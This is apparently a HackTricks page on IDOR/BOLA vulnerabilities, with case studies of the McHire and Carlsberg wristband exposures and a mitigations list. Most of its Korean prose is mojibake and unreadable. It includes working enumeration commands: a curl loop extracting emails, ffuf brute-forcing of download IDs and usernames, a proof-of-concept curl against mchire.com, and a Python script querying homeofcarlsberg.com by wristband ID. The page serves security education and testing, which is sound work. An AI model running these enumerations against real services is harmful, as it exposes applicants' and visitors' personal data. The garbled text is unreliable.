IDOR (Insecure Direct Object Reference)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)๋ ์น ๋๋ API ์๋ํฌ์ธํธ๊ฐ ์ฌ์ฉ์ ์ ์ด๊ฐ ๊ฐ๋ฅํ ์๋ณ์๋ฅผ ๊ณต๊ฐํ๊ฑฐ๋ ์๋ฝํ๊ณ , ๊ทธ ์๋ณ์๊ฐ ๋ด๋ถ ๊ฐ์ฒด์ ์ ๊ทผํ๊ธฐ ์ํด ์ง์ ์ฌ์ฉ๋๋ฉฐ ํธ์ถ์๊ฐ ํด๋น ๊ฐ์ฒด์ ์ ๊ทผ/์์ ํ ๊ถํ์ด ์๋์ง๋ฅผ ๊ฒ์ฆํ์ง ์๋ ๊ฒฝ์ฐ์ ๋ฐ์ํฉ๋๋ค. ์ฑ๊ณต์ ์ธ ์ ์ฉ์ ์ผ๋ฐ์ ์ผ๋ก ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ฑฐ๋ ์์ ํ๋ ๋ฑ์ ์ํ์ ๋๋ ์์ง์ ๊ถํ ์์น์ ํ์ฉํ๋ฉฐ, ์ต์ ์ ๊ฒฝ์ฐ ๊ณ์ ํ์ทจ๋ ๋๋ ๋ฐ์ดํฐ ์ ์ถ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
1. ์ ์ฌ์ IDOR ์๋ณ
- ๊ฐ์ฒด๋ฅผ ์ฐธ์กฐํ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฐพ์ผ์ธ์:
- ๊ฒฝ๋ก:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - ์ฟผ๋ฆฌ:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - ํค๋ / ์ฟ ํค:
X-Client-ID: 4711
- ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ฑฐ๋ ์
๋ฐ์ดํธํ๋ ์๋ํฌ์ธํธ๋ฅผ ์ฐ์ ์ ์ผ๋ก ์ดํด๋ณด์ธ์ (
GET,PUT,PATCH,DELETE). - ์๋ณ์๊ฐ ์ฐ์์ ์ด๊ฑฐ๋ ์์ธก ๊ฐ๋ฅํ์ง ์ฃผ๋ชฉํ์ธ์ โ ์๋ฅผ ๋ค์ด ID๊ฐ
64185742๋ผ๋ฉด64185741๋ ์กด์ฌํ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค. - ์จ๊ฒจ์ง ๋๋ ๋์ฒด ํ๋ฆ(์: ๋ก๊ทธ์ธ ํ์ด์ง์ โParadox team membersโ ๋งํฌ) ๋ฑ์ ํ์ํ์ฌ ์ถ๊ฐ API๊ฐ ๋ ธ์ถ๋๋์ง ํ์ธํ์ธ์.
- ๊ถํ์ด ๋ฎ์ ์ธ์ฆ๋ ์ธ์ ์ ์ฌ์ฉํ๊ณ ID๋ง ๋ณ๊ฒฝํ๋ฉด์ ๊ฐ์ ํ ํฐ/์ฟ ํค๋ฅผ ์ ์งํ์ธ์. ๊ถํ ์ค๋ฅ๊ฐ ์์ผ๋ฉด ๋ณดํต IDOR์ ์งํ์ ๋๋ค.
๋น ๋ฅธ ์๋ ๋ณ์กฐ (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
์๋ํ๋ ์ด๊ฑฐ (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
์์ธก ๊ฐ๋ฅํ download ID ์ด๊ฑฐ (ffuf)
์ธ์ฆ๋ ํ์ผ ํธ์คํ
ํจ๋์ ์ข
์ข
์ฌ์ฉ์๋ณ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๋จ์ผ files ํ
์ด๋ธ์ ์ ์ฅํ๊ณ /download.php?id=<int> ๊ฐ์ ๋ค์ด๋ก๋ ์๋ํฌ์ธํธ๋ฅผ ๋
ธ์ถํฉ๋๋ค.
ํธ๋ค๋ฌ๊ฐ ID์ ์กด์ฌ ์ฌ๋ถ๋ง ํ์ธํ๊ณ (ํด๋น ID๊ฐ ์ธ์ฆ๋ ์ฌ์ฉ์์๊ฒ ์ํ๋์ง ์ฌ๋ถ๋ ํ์ธํ์ง ์๋ ๊ฒฝ์ฐ), ์ ํจํ session cookie๋ก ์ ์ ๊ณต๊ฐ์ ์ค์ํ์ฌ ๋ค๋ฅธ ํ
๋ํธ์ backups/configs๋ฅผ ํ์น ์ ์์ต๋๋ค:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-fr์ 404-style ํ ํ๋ฆฟ์ ์ ๊ฑฐํ์ฌ ์ค์ ํํธ๋ง ๋จ๊น๋๋ค (e.g., IDs 54/150 leaking full site backups and signing material).- ๋์ผํ FFUF ์ํฌํ๋ก์ฐ๋ Burp Intruder๋ curl ๋ฃจํ์์๋ ์๋ํฉ๋๋คโ๋จ, ID๋ฅผ ์ฆ๊ฐ์ํค๋ ๋์ ์ธ์ฆ ์ํ๋ฅผ ์ ์งํด์ผ ํฉ๋๋ค.
Error-response oracle for user/file enumeration
When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:
- ์กด์ฌํ์ง ์๋ username โ โUser not foundโ
- ์๋ชป๋ filename์ด์ง๋ง ์ ํจํ extension โ โFile does not existโ (๋๋ก๋ ์ฌ์ฉ ๊ฐ๋ฅํ ํ์ผ์ ๋์ดํ๊ธฐ๋ ํจ)
- ์๋ชป๋ extension โ validation error
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the โuser not foundโ string to discover valid users:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
์ ํจํ ์ฌ์ฉ์ ์ด๋ฆ์ ํ์ธํ ํ์๋ ํน์ ํ์ผ์ ์ง์ ์์ฒญํ์ธ์(์: /view.php?username=amanda&file=privacy.odt). ์ด๋ฌํ ํจํด์ ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ฌธ์๊ฐ ๋ฌด๋จ์ผ๋ก ๊ณต๊ฐ๋๊ฑฐ๋ ์๊ฒฉ ์ฆ๋ช
๋์ถ๋ก ์ด์ด์ง๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
2. ์ค์ ์ฌ๋ก ์ฐ๊ตฌ โ McHire Chatbot Platform (2025)
Paradox.ai ๊ธฐ๋ฐ์ McHire ์ฑ์ฉ ํฌํธ์ ํ๊ฐํ๋ ๋์ ๋ค์๊ณผ ๊ฐ์ IDOR๊ฐ ๋ฐ๊ฒฌ๋์์ต๋๋ค:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}โ 8์๋ฆฌ, ์์ฐจ์ ์ธ ์ซ์ ์๋ณ์
lead_id๋ฅผ ๊ฐ์์ํค๋ฉด ํ
์คํฐ๋ ์์ ์ง์์์ full PII(name, e-mail, phone, address, shift preferences)์ session hijacking์ ํ์ฉํ๋ consumer JWT๋ฅผ ํ๋ํ์ต๋๋ค. 1 โ 64,185,742 ๋ฒ์๋ฅผ ์ด๊ฑฐํ ๊ฒฐ๊ณผ ๋๋ต 64 million ๊ฑด์ ๋ ์ฝ๋๊ฐ ๋
ธ์ถ๋์์ต๋๋ค.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
์ฌ๋ก ์ฐ๊ตฌ โ ์๋ชฉ๋ฐด๋ QR ์ฝ๋: weak bearer tokens (2025โ2026)
ํ๋ฆ: Exhibition visitors received QR-coded wristbands; scanning https://homeofcarlsberg.com/memories/ let the browser take the ํ๋ฆฐํธ๋ ์๋ชฉ๋ฐด๋ ID, hex-encode it, and call a cloudfunctions.net backend to fetch stored media (photos/videos + names). There was no session binding or user authenticationโID๋ฅผ ์๋ ๊ฒ = ๊ถํ ๋ถ์ฌ.
์์ธก ๊ฐ๋ฅ์ฑ: Wristband IDs followed a short pattern such as C-285-100 โ ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). The space was estimated at ~26M combinations, trivial to exhaust online.
Burp Intruder๋ฅผ ์ฌ์ฉํ Exploitation ์ํฌํ๋ก์ฐ:
- Payload generation: ํ๋ณด ID๋ฅผ ์์ฑ(์:
[A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule โ Add prefix/suffix โ payload encoding: ASCII hex so each request transmits the hex string expected by the backend. - Response grep: Intruder์ grep-match๋ฅผ ์ ํจํ ์๋ต์๋ง ์กด์ฌํ๋ ๋ง์ปค(์: media URLs/JSON fields)์ ๋ํด ์ค์ ํ์ธ์. Invalid IDs typically returned an empty array/404.
- Throughput measurement: ๋ฉํ์์ ์ฝ 2์๊ฐ ๋์ ~1,000,000๊ฐ์ ID๋ฅผ ํ ์คํธํ์ผ๋ฉฐ(์ฝ 139 req/s), ์ด ์๋๋ก๋ ์ ์ฒด ํค์คํ์ด์ค(~26M)๋ฅผ ์ฝ 52์๊ฐ ๋ง์ ๋ชจ๋ ํ์ํ ์ ์์ต๋๋ค. ์ํ ์คํ๋ง์ผ๋ก๋ ์ด๋ฏธ ์ฝ 500๊ฐ์ ์ ํจํ ์๋ชฉ๋ฐด๋(๋์์ + ์ ์ฒด ์ด๋ฆ)๊ฐ ๋ ธ์ถ๋์์ต๋๋ค.
- Rate-limiting verification: ๊ณต๊ธ์ ์ฒด๊ฐ ์ฐ๋กํ๋ง์ ์ฃผ์ฅํ ํ ๋์ผํ Intruder ์ค์ ์ ๋ค์ ์คํํ์ต๋๋ค. ๋์ผํ ์ฒ๋ฆฌ๋/ํํธ์จ์ด ํ์ธ๋์ด ํด๋น ์ ์ด๊ฐ ์์๊ฑฐ๋ ํจ๊ณผ๊ฐ ์์์ ์ฆ๋ช ํ๊ณ , enumeration์ ์ ์ฝ ์์ด ๊ณ์๋์์ต๋๋ค.
๊ฐ๋จํ ์คํฌ๋ฆฝํธํ ๋ณํ(ํด๋ผ์ด์ธํธ ์ธก 16์ง์ ์ธ์ฝ๋ฉ):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
๊ตํ: ์ธ์ฝ๋ฉ (ASCIIโhex/Base64)์ ์ํธ๋กํผ๋ฅผ ์ถ๊ฐํ์ง ์๋๋ค; ์งง์ ID๋ ๊ฒ๋ณด๊ธฐ ์ธ์ฝ๋ฉ์๋ ๋ถ๊ตฌํ๊ณ ๋์ด ๊ฐ๋ฅํ bearer tokens๊ฐ ๋๋ค. ์ฌ์ฉ์๋ณ ์ธ๊ฐ + ๊ณ ์ํธ๋กํผ ๋น๋ฐ๊ฐ์ด ์์ผ๋ฉด, media/PII๋ โrate limitingโ์ ์ฃผ์ฅํ๋๋ผ๋ ๋๋ ์์ง๋ ์ ์๋ค.
3. IDOR / BOLA์ ์ํฅ
- ์ํ ๊ถํ ์์น โ ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ฐ์ดํฐ ์ฝ๊ธฐ/์์ /์ญ์ .
- ์์ง ๊ถํ ์์น โ ๋ฎ์ ๊ถํ ์ฌ์ฉ์๊ฐ ๊ด๋ฆฌ์ ์ ์ฉ ๊ธฐ๋ฅ ํ๋.
- ์๋ณ์๊ฐ ์ฐ์์ ์ด๋ฉด(์: ์ง์์ ID, ์ธ๋ณด์ด์ค) ๋๋ ๋ฐ์ดํฐ ์ ์ถ.
- ๋ค๋ฅธ ์ฌ์ฉ์์ ํ ํฐ์ ํ์น๊ฑฐ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ค์ ํ์ฌ ๊ณ์ ํ์ทจ.
4. ์ํ ๋ฐฉ์ ๋ฐ ๋ชจ๋ฒ ์ฌ๋ก
- ๋ชจ๋ ์์ฒญ์ ๋ํด object-level authorization ์ ์ฉ (
user_id == session.user). - ์๋ ์ฆ๊ฐ ID ๋์ ๊ฐ์ ์ ์ด๊ณ ์ถ์ธก ๋ถ๊ฐ๋ฅํ ์๋ณ์(UUIDv4, ULID) ์ฌ์ฉ.
- ์ธ๊ฐ ๊ฒ์ฌ๋ฅผ ๋ฐ๋์ server-side์์ ์ํํ๊ณ ์จ๊ฒจ์ง ํผ ํ๋๋ UI ์ ์ด์ ์์กดํ์ง ๋ง ๊ฒ.
- ์ค์ ๋ฏธ๋ค์จ์ด์์ RBAC / ABAC ๊ฒ์ฌ ๊ตฌํ.
- ID ์ด๊ฑฐ๋ฅผ ํ์งํ๊ธฐ ์ํด rate-limiting & logging ์ถ๊ฐ.
- ์๋ก์ด ์๋ํฌ์ธํธ๋ ๋ชจ๋ ๋ณด์ ํ ์คํธ ์ํ (unit, integration, ๋ฐ DAST).
5. ๋๊ตฌ
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicantsโ PII
- OWASP Top 10 โ Broken Access Control
- How to Find More IDORs โ Vickie Li
- HTB Nocturnal: IDOR oracle โ file theft
- 0xdf โ HTB Era: predictable download IDs โ backups and signing keys
- Carlsberg memories wristband IDOR โ predictable QR IDs + Intruder brute force (2026)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


